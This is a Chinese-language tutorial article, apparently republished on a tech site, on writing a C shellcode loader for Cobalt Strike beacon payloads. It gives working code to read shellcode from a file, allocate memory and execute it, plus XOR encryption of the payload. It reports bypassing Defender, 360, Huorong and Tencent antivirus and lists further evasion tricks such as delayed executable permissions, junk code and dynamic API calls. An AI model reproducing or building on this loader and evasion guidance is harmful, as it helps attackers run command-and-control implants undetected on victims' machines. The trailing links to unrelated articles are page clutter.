百度360必应搜狗淘宝本站头条
当前位置:网站首页 > IT技术 > 正文

如何用C语言实现Shellcode Loader

wptr33 2025-10-19 13:56 2 浏览

0x01 前言

之前github找了一个基于go的loader,生成后文件大小6M多,而且细节不够了解,一旦被杀,都不知道改哪里,想来还是要自己写一个loader

0x02 免杀效果

文件大小12KB

虚拟机Win10:Defender(测试时间2022/10/31)

物理机Win10:360安全卫士(开核晶)、360杀毒、火绒、腾讯管家(测试时间2022/10/31)

0x02 Loader前世

编写shellcode loader,网上的文章很多了,但或多或少都会有点问题,比如这篇文章:
https://mp.weixin.qq.com/s/oVGWlkv9amgGS5abzNEpdg,他用的shellcode是msf生成的,当你换成cs的shellcode时,你会发现,vs编译器报错“编译器错误 C2026”

参考:
https://learn.microsoft.com/zh-cn/cpp/error-messages/compiler-errors-1/compiler-error-c2026?view=msvc-170

这个错误简单说,就是vs编译器规定,单个变量的字符串长度不能超过16380 个字节,而cs导出的stageless、x64的shellcode多达263168字节,大于16380字节,所以会报错,直接用网上文章的代码不行,我们就要学习下细节了

0x03 Loader今生

一个最简单的shellcode loader

1
2
3
4
5
6
7
int main(){
    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

shellcode存放于变量 -> 内存申请 -> 内存拷贝 -> 内存执行

由于cs导出的stageless、x64的shellcode多达263168字节,不能存到变量,所以我们选择从文件中读取,可使用文件打开函数fopen

1
FILE *fp = fopen("beacon-stageless-x64.bin", "rb")

申请内存空间,可使用函数malloc、new、VirtualAlloc、HeapAlloc、GlobalAlloc、LocalAlloc、CoTaskMemAlloc

参考:
https://learn.microsoft.com/zh-cn/windows/win32/memory/comparing-memory-allocation-methods

其中new是c++中用来申请内存的,VirtualAlloc用的较多,被杀软拦截的可能性较大,后面几个不是很常用,此处我们选择malloc

需要注意,malloc是c语言标准库,意味着可跨平台,VirtualAlloc是windows api,算是windows平台下c语言运行时库,要想写跨平台的loader,需要用c语言标准库

参数为shellcode大小,并将其返回值类型强制转换为char *

1
char *p = (char *) malloc(sizeof(buf));

拷贝shellcode到内存空间,可使用函数memcpy、fread、strcpy,此处我们选择fread

第1个参数p为内存地址,通常为数组或指针,第2个参数表示每个数据块的字节数,第3个参数表示要读取的数据块的块数,第4个参数表示文件指针

1
fread(p, sizeof(buf), 1, fp); 

调用申请的内存空间首地址加载shellcode

1
((char(*)())p)();

最后这行代码看着有点复杂,但其实不难,我们看下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
void hello() {
      printf("hello world");
}

int main() {
    hello();  // 简化调用
    (*hello)();  // 标准调用
    return 0;
}

hello()的标准调用方式是(*hello)(),也就是取这个函数的地址再调用,那么同理,void (*hello)()也可以理解为标准声明方式
对于void (*hello)()这种函数声明,它的类型为void(*)(),也就是说,如果想要将某个函数强制转换为此类型应为(void(*)()) hello()
回到( (char(*)()) p)()也就是将p强制转换为类型char(*)()后,再作为函数调用

上面只是讲了shellcode loader的基本步骤,实际编写的时候出于免杀效果好的考虑,可做如下操作:

01、可在申请内存空间的时候去掉可执行属性,后面再对申请的内存空间设置可执行属性

02、添加一些干扰代码,如调用memset对申请的内存空间全部置0

03、改用其他函数实现对应功能

04、还可以通过动态调用函数实现对应功能,可参考这篇文章:
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652477998&idx=1&sn=
21dd0456161ef1f38835b05e8da531e8&chksm=
f258399dc52fb08beb906630b4591b12c0db7058ddadce894e9f78626e2bae45c5690a3150ee&scene=178&cur_album_id=1430891819562549250#rd

0x04 Shellcode加密

上面是loader的讲解,shellcode其实也需要加密,不然会被杀软直接杀掉

shellcode加密相对好做,我这边测试,简单的异或加密,即可过掉大部分杀软,下面贴一下加密功能的代码,代码讲解基本和上述一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int getFileSize(char* path) {
    FILE* fp = fopen(path, "rt");
    if (fp == NULL) {
        return -1;
    }
    else {
        fseek(fp, 0, SEEK_END);
        int length = ftell(fp);
        return length;
    }
}

void Encrypt(char* oldpath, char* newpath) {
    FILE *fpr, *fpw;
    fpr = fopen(oldpath, "rb");
    fpw = fopen(newpath, "wb");
    if (fpr == NULL || fpw == NULL) {
        return -1;
    }
    else {
        int length = getFileSize(oldpath);
        char* p = (char*) malloc(length * sizeof(char));
        fread(p, sizeof(char), length, fpr);
        for (int i = 0; i < length; i++) {
            p[i] ^= 'A';
        }
        fwrite(p, sizeof(char), length, fpw);
        fclose(fpr);
        fclose(fpw);
    }
}

解密的时候,同样进行一下异或即可

其实还有很多其他的变形异或加密方式,可参考这篇文章:
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652477986&idx=1&sn=
e1d5f269d5e9799aee007ee04df10b50&chksm=
f2583991c52fb0871508211416ff1

相关推荐

Python字符串终极指南!单引号、双引号、三引号区别全解析

导语:Python中字符串(str)是最核心的数据类型!无论你是输出"HelloWorld"还是处理用户数据,都离不开它。今天彻底讲清字符串的三大定义方式及其核心区别,新手必看!...

python 字符串的定义和表示_python字符串的用法

在Python中,字符串是一序列字符的集合。定义一个字符串可以使用单引号或双引号括起来的字符序列。...

简单的python-熟悉字符串相关的操作

str.py:#-*-coding:utf-8-*-#测试函数deff():#字符串使用单引号定义s1='test'print(s...

Python初学者:3招搞定长字符串逐行读取,代码超简单

刚学Python的小伙伴,是不是遇到过这种尴尬情况?拿到一段老长的多行字符串——比如从文档里复制的日志、一段带换行的文章,想一行一行处理,如果直接打印全堆在一起,手动切又怕漏行,咋整啊?别慌!今天就给...

Python 字符串_python字符串型怎么表达

除了数字,Python还可以操作字符串。字符串的形式是单引号('......')双引号(''.........'')或三个单引号(''&...

贴身口语第二关:请求帮忙、道歉、指路、接受礼物

02-@askforhelp请求协助1.F:Excuseme.Canyouhelpme?M:Yes,whatcanIdoforyou?...

NBA赛季盘点之九大装逼&amp;炫技时刻:“歪嘴战神”希罗领衔

欢迎大家来到直播吧NBA赛季盘点,历经许多波折,2019-20赛季耗时整整一年才圆满收官。魔幻的一年里有太多的时刻值得我们去铭记,赛场上更是不乏球员们炫技与宣泄情绪的装逼时刻,本期盘点就让我们来回顾一...

一手TTS-2语音合成模型安装教程及实际使用

语音合成正从云端调用走向本地部署,TTS-2模型作为开源语音生成方案之一,正在被越来越多开发者尝试落地。本篇文章从环境配置到推理调用,详尽拆解TTS-2的安装流程与使用技巧,为语音产品开发者提供...

网友晒出身边的巨人 普通人站一旁秒变“霍比特人”

当巨人遇到霍比特人,结果就是“最萌身高差”。近日网友们晒出了身边的巨人,和他们站在一起,普通人都变成了“霍比特人”。CanYouTellWho'sRelated?TheDutchGiant...

分手后我们还能做朋友吗?_分手后我们还能做朋友吗

Fewrelationshipquestionsareaspolarizingaswhetherornotyoushouldstayfriendswithanex.A...

如何用C语言实现Shellcode Loader

0x01前言之前github找了一个基于go的loader,生成后文件大小6M多,而且细节不够了解,一旦被杀,都不知道改哪里,想来还是要自己写一个loader...

微星Z490如何装Windows10系统以及怎么设 BIOS

小晨儿今天给大家讲一下msi微星Z490重怎样装系统以及怎么设置BIOS。一、安装前的准备工作1、一、安装前的准备工作1、备份硬盘所有重要的文件(注:GPT分区转化MBR分区时数据会丢失)2...

超实用!互联网软件开发人员不可不知的 Git 常用操作命令

在互联网软件开发的协作场景中,Git是不可或缺的版本控制工具。掌握其核心命令,能让代码管理效率大幅提升。本文精选Git高频实用命令,结合场景化说明,助你快速上手。仓库初始化与克隆...

AI项目的持续集成持续部署实践_ai 项目

在独立开发AI工具的过程中,笔者逐步实践了一套高效的软件项目持续集成与持续部署(CI/CD)流程。这套流程以Git、GitHub和Vercel为核心,实现了从代码提交到生产环境上线的全链路自动化。这篇...

总结几个常用的Git命令的使用方法

1、Git的使用越来越广泛现在很多的公司或者机构都在使用Git进行项目和代码的托管,Git有它自身的优势,很多人也喜欢使用Git。...